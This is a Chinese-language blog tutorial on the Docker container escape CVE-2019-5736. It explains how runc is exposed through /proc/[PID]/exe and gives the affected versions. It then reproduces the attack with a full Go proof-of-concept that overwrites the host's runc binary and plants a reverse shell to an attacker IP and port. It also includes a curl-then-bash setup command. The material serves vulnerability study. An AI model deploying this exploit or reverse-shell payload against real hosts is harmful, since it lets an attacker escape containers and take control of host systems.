Docker逃逸---CVE-2019-5736浅析

一、产生原因

Docker执行命令时,先向镜像管理的containerd发送gRPC请求,containerd收到请求后,再发送给具体的容器管理containerd-shim,shim根据OCI协议将命令发送给runc执行,所以实际上执行命令的是runc

Docker逃逸---CVE-2019-5736浅析_第1张图片

漏洞大概意思是:/proc/[PID]/exe这个链接文件的指向是该进程的二进制文件,而在runc exec加入到容器的命名空间之后, 容器内进程已经能够通过内部/proc观察到它,通过遍历/proc目录,此时我们可以拿到runc在宿主机上的二进制文件路径,然后用恶意代码覆盖runc二进制文件

然后等待管理员执行docker exec命令,但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用

二、利用条件

1、docker-runc版本不能高于1.0-rc6,docker 版本在18.09之前

2、容器以root权限运行

Docker逃逸---CVE-2019-5736浅析_第2张图片

三、复现过程

1、环境搭建

docker和runc版本如下

Docker逃逸---CVE-2019-5736浅析_第3张图片

 下载docker环境脚本并运行

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

下载不了可以复制下面代码

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
        "fmt"
        "io/ioutil"
        "os"
        "strconv"
        "strings"
        "flag"
)


var shellCmd string

func init() {
        flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
        flag.Parse()
}

func main() {
        // This is the line of shell commands that will execute on the host
        var payload = "#!/bin/bash \n bash -c 'bash -i >& /dev/tcp/192.168.239.138/2333 0>&1'" + shellCmd
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")

        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {
                pids, err := ioutil.ReadDir("/proc")
                if err != nil {
                        fmt.Println(err)
                        return
                }
                for _, f := range pids {
                        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                        fstring := string(fbytes)
                        if strings.Contains(fstring, "runc") {
                                fmt.Println("[+] Found the PID:", f.Name())
                                found, err = strconv.Atoi(f.Name())
                                if err != nil {
                                        fmt.Println(err)
                                        return
                                }
                        }
                }
        }

        // We will use the pid to get a file handle for runc on the host.
        var handleFd = -1
        for handleFd == -1 {
                // Note, you do not need to use the O_PATH flag for the exploit to work.
                handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
                if int(handle.Fd()) > 0 {
                        handleFd = int(handle.Fd())
                }
        }
        fmt.Println("[+] Successfully got the file handle")

        // Now that we have the file handle, lets write to the runc binary and overwrite it
        // It will maintain it's executable flag
        for {
                writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
                if int(writeHandle.Fd()) > 0 {
                        fmt.Println("[+] Successfully got write handle", writeHandle)
                        fmt.Println("[+] The command executed is" + payload)
                        writeHandle.Write([]byte(payload))
                        return
                }
        }
}

改为要反弹的主机和端口

Docker逃逸---CVE-2019-5736浅析_第4张图片

这里把编译好的main复制到容器内执行,模拟攻击者

go build -o main main.go
docker cp main 33c6927d312d:/tmp

3、执行脚本,然后等待管理员执行命令,反弹shell

容器内运行脚本    ./main

Docker逃逸---CVE-2019-5736浅析_第5张图片

模拟管理员执行exec命令

攻击机监听,成功反弹宿主机shell

Docker逃逸---CVE-2019-5736浅析_第6张图片

你可能感兴趣的:(安全,docker,容器,运维,安全)